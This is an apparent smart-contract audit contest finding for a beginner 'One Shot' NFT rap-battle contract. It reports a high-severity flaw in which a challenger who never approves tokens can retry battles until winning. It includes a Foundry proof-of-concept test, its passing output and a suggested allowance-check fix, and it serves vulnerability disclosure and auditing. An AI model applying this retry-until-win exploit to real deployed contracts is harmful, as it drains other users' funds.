First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Challenger can win a battle by not approving tokens

ceseshi

Summary

Any user can win a battle by randomly testing, without risking their tokens.

Vulnerability Details

In a normal situation, if a challenger enters the battle and loses, his tokens are transferred to the defender, unless hi has not previously approved the spending by the battle contract, in which case the transaction reverts. However, if the challenger wins the battle, the defender's tokens will be transferred to the challenger. This allows the challenger to fight without the risk of losing.

In this test, the defender prepares a battle, and the challenger attempts to enter the battle repeatedly until winning, without making any prior approval.

function testChallengerWinsByNotApproving(uint256 blockNumber) public twoSkilledRappers {
// Initial values
uint256 initialChallengerBalance = cred.balanceOf(challenger);
​
// Prepare battle
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
​
// Init block
vm.assume(blockNumber < type(uint256).max / 12);
vm.roll(blockNumber);
vm.warp(blockNumber * 12);
​
uint256 loop = 0;
​
do {
loop++;
vm.roll(block.number + 1);
vm.warp(block.timestamp + 12);
vm.prevrandao(keccak256(abi.encodePacked(block.number)));
​
// The challenger tries until he wins, and never gives approval, so he cannot lose
vm.prank(challenger);
try rapBattle.goOnStageOrBattle(1, 3) {
break;
}
catch (bytes memory) {
continue;
}
} while (loop < 100);
​
console.log("loops", loop);
​
// Final checks
uint256 finalChallengerBalance = cred.balanceOf(challenger);
assertEq(finalChallengerBalance, initialChallengerBalance + 3);
}

Test passes

Ran 1 test for test/OneShotTestAudit.t.sol:RapBattleTest
[PASS] testChallengerWinsByNotApproving(uint256) (runs: 256, μ: 628200, ~: 616944)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.76s

Impact

An attacker can unfairly win a battle without risking his funds.

Tools Used

Foundry, Manual review

Recommendations

Verify that the challenger has approved his tokens before initiating the battle, so that in case of not doing so, it always reverts.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ require(credToken.allowance(msg.sender, address(this)) >= _credBet, "RapBattle: cred not approved");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
}```
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.